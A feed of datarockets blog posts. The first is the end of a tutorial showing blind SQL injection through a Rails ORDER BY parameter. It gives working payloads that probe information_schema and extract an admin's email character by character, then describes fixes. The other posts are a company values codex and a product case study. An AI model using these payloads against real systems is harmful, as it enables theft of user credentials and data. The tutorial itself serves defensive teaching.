&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--j4tVci-u--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://datarockets.com/wp-content/uploads/2021/06/SQL-injection-post-3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--j4tVci-u--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://datarockets.com/wp-content/uploads/2021/06/SQL-injection-post-3.png" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Do you remember this game from Tarantino’s &lt;strong&gt;Inglorious Bastards&lt;/strong&gt; film? When guys put stickers with the name of some person onto their foreheads and trying to guess this person’s name by using only questions with answers “Yes” or “No.”&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--hVvq5x_6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://datarockets.com/wp-content/uploads/2021/06/SQL-injections-post-4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--hVvq5x_6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://datarockets.com/wp-content/uploads/2021/06/SQL-injections-post-4.png" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Useful construction for &lt;code&gt;ORDER&lt;/code&gt; SQL injection is a:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;CASE&lt;/span&gt; &lt;span class="k"&gt;WHEN&lt;/span&gt; &lt;span class="n"&gt;condition&lt;/span&gt; &lt;span class="k"&gt;THEN&lt;/span&gt; &lt;span class="n"&gt;first_coumn_name&lt;/span&gt; &lt;span class="k"&gt;ELSE&lt;/span&gt; &lt;span class="n"&gt;second_column_name&lt;/span&gt; &lt;span class="k"&gt;END&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;or&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;condition&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;first_column_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;second_column_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We just need to find a &lt;code&gt;condition&lt;/code&gt; (as a question), and two column names to see the result and put it as &lt;code&gt;ORDER BY&lt;/code&gt; value (like &lt;code&gt;Yes&lt;/code&gt; and &lt;code&gt;No&lt;/code&gt; answers).&lt;/p&gt;

&lt;p&gt;What could we put into the &lt;code&gt;condition&lt;/code&gt; part? Everything. Literally everything.&lt;/p&gt;

&lt;p&gt;How about this?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;information_schema&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;columns&lt;/span&gt; 
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="k"&gt;COLUMN_NAME&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'is_admin'&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="k"&gt;table_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'users'&lt;/span&gt; &lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'YES'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'NO'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If we have &lt;code&gt;is_admin&lt;/code&gt; column in &lt;code&gt;users&lt;/code&gt; table it should return &lt;code&gt;YES&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Let’s put in into query with column names for sorting:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;information_schema&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;columns&lt;/span&gt; 
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="k"&gt;COLUMN_NAME&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'admin'&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="k"&gt;table_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'users'&lt;/span&gt; &lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;created_at&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--S-TluD6_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://datarockets.com/wp-content/uploads/2021/06/SQL-injections-post-5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--S-TluD6_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://datarockets.com/wp-content/uploads/2021/06/SQL-injections-post-5.png" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The first card is Fundico, and the second is Area. There is no &lt;code&gt;is_admin&lt;/code&gt; column in the users table. Let’s try just &lt;code&gt;admin&lt;/code&gt; instead:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--HZIcAqJY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://datarockets.com/wp-content/uploads/2021/06/SQL-injections-post-6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--HZIcAqJY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://datarockets.com/wp-content/uploads/2021/06/SQL-injections-post-6.png" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here we go! Now we know that we have &lt;code&gt;admin&lt;/code&gt; column in our &lt;code&gt;users&lt;/code&gt; table.&lt;/p&gt;

&lt;p&gt;P.S. The full query with injected code looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="nv"&gt;`table_1`&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="nv"&gt;`table_1`&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="nv"&gt;`table_1`&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;`id`&lt;/span&gt; &lt;span class="k"&gt;IN&lt;/span&gt; 
  &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;DISTINCT&lt;/span&gt; &lt;span class="nv"&gt;`table_2`&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;`deal_id`&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="nv"&gt;`table_2`&lt;/span&gt; &lt;span class="k"&gt;LEFT&lt;/span&gt; &lt;span class="k"&gt;OUTER&lt;/span&gt; &lt;span class="k"&gt;JOIN&lt;/span&gt; &lt;span class="nv"&gt;`team_members`&lt;/span&gt; 
    &lt;span class="k"&gt;ON&lt;/span&gt; &lt;span class="nv"&gt;`team_members`&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;`cool_dude_id`&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;`table_2`&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;`id`&lt;/span&gt; 
    &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="nv"&gt;`table_2`&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;`state`&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;table_2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="o"&gt;=***&lt;/span&gt; &lt;span class="k"&gt;or&lt;/span&gt; &lt;span class="n"&gt;team_members&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="o"&gt;=***&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; 
  &lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;information_schema&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;columns&lt;/span&gt; 
    &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="k"&gt;COLUMN_NAME&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'admin'&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="k"&gt;table_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'users'&lt;/span&gt; &lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;created_at&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let’s find the rest of the data by analogy. Firstly we need to find &lt;code&gt;email&lt;/code&gt; of any admin user to get access to the system.&lt;/p&gt;

&lt;p&gt;We could do this symbol by symbol using ASCII table:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Hc9Cuwnj--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://datarockets.com/wp-content/uploads/2021/06/SQL-injections-post-7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Hc9Cuwnj--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://datarockets.com/wp-content/uploads/2021/06/SQL-injections-post-7.png" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We just need to paste all symbols one by one and look for a match:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;ASCII&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;SUBSTRING&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;where&lt;/span&gt; &lt;span class="k"&gt;admin&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;true&lt;/span&gt; &lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;105&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;created_at&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This query returns true if the first ASCII code of symbol in the &lt;code&gt;email&lt;/code&gt; of the first admin equals &lt;code&gt;105&lt;/code&gt; (I.e., the first symbol of email is &lt;code&gt;i&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Then we go for the second symbol using &lt;code&gt;ASCII(SUBSTRING(email, 2, 1))&lt;/code&gt; and find all symbols one by one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;We could find any information using this hole like credentials of all users, phones, addresses, etc. Always be careful and try not to use strings for searches and filters in Rails.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Rails is well enough protected from vulnerabilities, but nothing can save you from your own mistakes.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Use wrappers, like hashes and arrays. Don’t use &lt;code&gt;User.where(“name = ‘#{params[:name]'”)&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Use &lt;code&gt;User.where([“name = ?”, “#{params[:name]}”])&lt;/code&gt; or &lt;code&gt;User.where({ name: params[:name] })&lt;/code&gt; instead.&lt;/p&gt;

&lt;p&gt;This vulnerability can be fixed using just one line, for example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="no"&gt;ORDER_FILTERS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="ss"&gt;title_asc: &lt;/span&gt;&lt;span class="s1"&gt;'title asc'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;created_at_asc: &lt;/span&gt;&lt;span class="s1"&gt;'created_at asc'&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;scope&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;scope&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;filter_results&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;order_filter: &lt;/span&gt;&lt;span class="no"&gt;ORDER_FILTERS&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:order_filter&lt;/span&gt;&lt;span class="p"&gt;]])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>sql</category>
      <category>ruby</category>
      <category>rails</category>
    </item>
    <item>
      <title>The datarockers’ codex – company core values</title>
      <dc:creator>Yuliya Haranok</dc:creator>
      <pubDate>Wed, 19 May 2021 15:03:20 +0000</pubDate>
      <link>https://forem.com/datarockets/the-datarockers-codex-company-core-values-3fa0</link>
      <guid>https://forem.com/datarockets/the-datarockers-codex-company-core-values-3fa0</guid>
      <description>&lt;p&gt;In 2014, our founders wrote a codex for everyone who wanted to join the datarockets’ team, so that the candidates could check if they shared the same &lt;a href="https://datarockets.com/blog/company/datarockets-codex-core-values/" rel="noopener noreferrer"&gt;core values&lt;/a&gt; as ours. Since then, we have transformed our processes a lot, but this document still stays relevant as it presents our company principles and culture.&lt;/p&gt;

&lt;p&gt;The original version was written in Russian and now we decided to make it accessible for everyone by translating it into English. If you know Russian, we highly recommend you to read the &lt;a href="https://docs.google.com/document/d/1DojRoGnl-J0Ku0B9tjK_-HUMbKQDPoueoYr645dYA-4/edit" rel="noopener noreferrer"&gt;original text&lt;/a&gt; from 2014 :).&lt;/p&gt;

&lt;h2&gt;
  
  
  Intro from the founders
&lt;/h2&gt;

&lt;p&gt;The goal of datarockets is to bring ideas into life, delve into client’s businesses and contribute to their development. Our personal goal is to gather a cohesive team that will turn the company into an intellectual hub, which will result in both money and pleasure. Besides, we love sharing our knowledge with other people and bringing value to the whole industry. &lt;/p&gt;

&lt;p&gt;We have an individual attitude and an approach to everyone: we put a piece of our heart, invest our time and money and make sure that each datarocker comes to our company for a good reason. &lt;/p&gt;

&lt;p&gt;We value honesty, self-development, and professionalism. We believe that it will help us to attract like-minded people. Thus, when hiring a new datarocker, we first look at their attitude rather than knowledge. Having said that, there are no random people at datarockets.&lt;/p&gt;

&lt;h2&gt;
  
  
  Creation
&lt;/h2&gt;

&lt;p&gt;Datarockers tend to find a healthy and productive way to express themselves. As a company, we create a safe space for it.&lt;/p&gt;

&lt;p&gt;Self-expression is an essential part of everyone’s life. When people don’t express themselves, they repress the important parts of who they are and cause themselves considerable struggle and lasting mental and emotional pain (&lt;a href="https://rrtampa.com/therapy/need-self-expression" rel="noopener noreferrer"&gt;source&lt;/a&gt;). &lt;/p&gt;

&lt;p&gt;Therefore, every datarocker:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;chooses the path of creation,&lt;/li&gt;
&lt;li&gt;cares about personal mental state,&lt;/li&gt;
&lt;li&gt;is driven by curiosity,&lt;/li&gt;
&lt;li&gt;has the desire to invent things,&lt;/li&gt;
&lt;li&gt;gets the pleasure from finding elegant and brilliant solutions to complex problems,&lt;/li&gt;
&lt;li&gt;and loves adding values to anything he or she does.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Responsibility
&lt;/h2&gt;

&lt;p&gt;Datarockers are responsible for everything that happens in both personal life and at work. They do not try to limit their responsibility and do not seek excuses. &lt;/p&gt;

&lt;p&gt;Datarockers always pick up the phone and do not hide from problems and stressful meetings. They don’t disappear at the most critical moment — even if they make mistakes, they tell the truth and offer solutions to resolve the problem.&lt;/p&gt;

&lt;p&gt;Usually, people are forced to work at the office and monitored by managers behind their backs. However, at datarockets, the traditional micromanagement does not exist. In our company, we have processes that help set up the routine, but flexible schedule and remote work are not for everyone. Datarockers decide on their own how much and how to work, where to live, and when to rest.&lt;/p&gt;

&lt;h2&gt;
  
  
  Money
&lt;/h2&gt;

&lt;p&gt;Datarockers don’t always work for money, even though they understand that the quality of their lives depends on money. They consider their time as capital and invest it wisely.&lt;/p&gt;

&lt;p&gt;Additionally, datarockers never talk about personal salary and the company’s remuneration. Any relationship of datarockets with clients is confidential information, and remuneration is not a subject of public negotiations.&lt;/p&gt;

&lt;h2&gt;
  
  
  Personal development
&lt;/h2&gt;

&lt;p&gt;Datarockers are ambitious life-long learners. They read books, listen to podcasts, and keep up with what’s new in the IT world. You can meet a datarocker at the conference, and later — with a glass of beer at the after-party. Our teammates share their experience in &lt;a href="https://datarockets.com/blog" rel="noopener noreferrer"&gt;articles&lt;/a&gt;, contribute to &lt;a href="https://github.com/datarockets/" rel="noopener noreferrer"&gt;open source&lt;/a&gt;, organize and speak at &lt;a href="https://youtube.com/playlist?list=PLXylrdLh4cnA6mY_YgFOT1DKmH1xqINbm" rel="noopener noreferrer"&gt;conferences &amp;amp; meetups&lt;/a&gt; for engineers.&lt;/p&gt;

&lt;p&gt;Datarockers do not stick to one framework or library; they are willing to adopt other technologies. Frontend developers at datarockets understand how the backend works and can make some changes themselves. Backend developers can lay out or move a block on a page without having to ask the frontend team. Datarockers understand the fundamental programming concepts, which helps them quickly master any new technologies.&lt;/p&gt;

&lt;h2&gt;
  
  
  Professionalism
&lt;/h2&gt;

&lt;p&gt;Every single datarocker is a conscientious person. They do their job as best as possible, never sacrifice quality nor hesitate to speak out their own opinions. Achieving the result is professional responsibility, and datarockers know the right path to it.&lt;/p&gt;

&lt;p&gt;The quality of work does not depend on a personal relationship or feelings towards a client or a project. A datarocker understands that the best product is a workable product that is launched on time. Striving for perfectionism doesn’t justify missing deadlines.&lt;/p&gt;

&lt;p&gt;Datarockers are team players who understand that by working together, they can maximize their productivity and efficiency. They respect the opinions of their colleagues and help datarockets’ newbies to understand the industry.&lt;/p&gt;

&lt;p&gt;Datarockers always move up their career ladder. As soon as datarockers start feeling self-sufficient and can teach others, they delegate tasks and take over new responsibilities to benefit the team and clients.&lt;/p&gt;

&lt;p&gt;There are no boring tasks for datarockers. We develop products for various businesses, from finance and logistics to nightclubs and bars. Even when solving trivial tasks, we automate the routine, try new approaches and create useful tools. We never know in advance what knowledge will be helpful in the future. In our business, knowledge about the whole world is always important.&lt;/p&gt;

&lt;p&gt;Datarockers constantly look for different ways of improving themselves and optimizing time to complete their tasks.&lt;/p&gt;

&lt;h2&gt;
  
  
  Relationships with clients
&lt;/h2&gt;

&lt;p&gt;Datarockers always remember that they are providing a service. When making decisions, the client’s benefits and their product are always our top priority. In the eyes of our clients, datarockets is not a faceless team of developers hidden behind the manager. When a client chooses our services, they expect to work with us as a single team. &lt;/p&gt;

&lt;p&gt;Human relationships are built on expectations, therefore, we understand that high expectations can turn into disappointments. It is better to underpromise and overdeliver rather than overpromise but then fail to deliver the tasks on time.&lt;/p&gt;

&lt;p&gt;The datarockets team always ensures confidentiality and respects the client’s privacy and their business decisions. We delve into the client’s business, put ourselves in the client’s shoes, and suggest the best possible solutions in any given situation.&lt;/p&gt;

&lt;h2&gt;
  
  
  Reputation and attitude towards datarockets
&lt;/h2&gt;

&lt;p&gt;Datarockers are tactful and self-aware of their reputation. Not only do they always speak about their colleagues and clients with honor, they never criticize or disrespect the previous companies they have worked at either, despite any grievances.&lt;/p&gt;

&lt;p&gt;A professional who has become an entrepreneur does not entice customers and employees if the other side has not taken the initiative. Instead, an ex-datarocker would rather train new employees and find clients — it is a matter of reputation and honor.&lt;/p&gt;

&lt;p&gt;At datarockets, we always recognize and value people, as well as their achievements. We motivate them to speak at conferences and write articles to share their experience with other fellows from the tech community. Experienced datarockers train the team, gain authority and recognition among colleagues.&lt;/p&gt;




&lt;p&gt;If these thoughts are appealing to you and you want to learn more about datarockets’ culture, check out our &lt;a href="https://www.instagram.com/datarockets/" rel="noopener noreferrer"&gt;Instagram&lt;/a&gt; page. It’s about fun, pets, remote work within a multinational team, and programming, of course 😉&lt;/p&gt;

</description>
      <category>culture</category>
      <category>watercooler</category>
    </item>
    <item>
      <title>How we created a human analytics platform for teams instead of using Google Sheets</title>
      <dc:creator>Yuliya Haranok</dc:creator>
      <pubDate>Thu, 04 Feb 2021 16:14:01 +0000</pubDate>
      <link>https://forem.com/datarockets/how-we-created-a-human-analytics-platform-for-teams-instead-of-using-google-sheets-20kn</link>
      <guid>https://forem.com/datarockets/how-we-created-a-human-analytics-platform-for-teams-instead-of-using-google-sheets-20kn</guid>
      <description>&lt;p&gt;Vital is a human analytics platform, currently in the &lt;a href="https://datarockets.com/blog/business/mvp-app-development-lean-startup-way/" rel="noopener noreferrer"&gt;MVP stage&lt;/a&gt;. With Vital, you can track your personal data such as book readings, time spending, daily vices, and rituals. The platform makes data tracking social with teams engaging and commenting. It also provides a simple visualization of your data and data analytics that helps people to understand their feelings and behaviors better.&lt;br&gt;
The datarockets team built this platform from scratch and participated in the product strategy, which resulted in several features that have been implemented &amp;amp; adopted.&lt;/p&gt;

&lt;h2&gt;
  
  
  Challenge
&lt;/h2&gt;

&lt;p&gt;The ultimate goal of VITAL is to improve individual productivity and increase self-awareness when working with teams. Our client, the &lt;a href="https://pixeldreams.com/" rel="noopener noreferrer"&gt;Pixel Dreams&lt;/a&gt; team, started with simple journaling using Google Spreadsheets in order to validate their concept. They started logging their productivity on a daily basis as well as the factors that influenced this intending to try to find correlations between their personal data and the entries of their teammates. Here is how the proof of concept looked in Google Spreadsheets:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkzq7fdj6xwzcr3nu16z3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkzq7fdj6xwzcr3nu16z3.png" width="800" height="439"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The guys have already proved to themselves that their data was valuable but they were struggling a lot with the spreadsheets. It took hours of work to set up spreadsheets for new members as well as initiate data entry for new time periods. Moreover, the spreadsheet solution wasn’t scalable at all and it wasn’t possible to share VITAL’s ideas with new people while the application was based on spreadsheets. So, we had to solve the following 2 challenges:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Making the data entry process more convenient&lt;/li&gt;
&lt;li&gt;Providing value from data entry to teams - giving some motivation to fill in data every day&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Our Approach
&lt;/h2&gt;

&lt;h3&gt;
  
  
  First version release
&lt;/h3&gt;

&lt;p&gt;We couldn’t utilize spreadsheets anymore and decided to implement a &lt;a href="https://datarockets.com/capabilities/" rel="noopener noreferrer"&gt;custom web application&lt;/a&gt; that would fulfill the data tracking needs. First of all, we focused on the data entry UI.  Being a creative agency, Pixel Dreams provided us with the first version of the design, which looked like the following screenshot:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7awnvoyobcxodwcw1npw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7awnvoyobcxodwcw1npw.png" width="800" height="449"&gt;&lt;/a&gt;&lt;/p&gt;

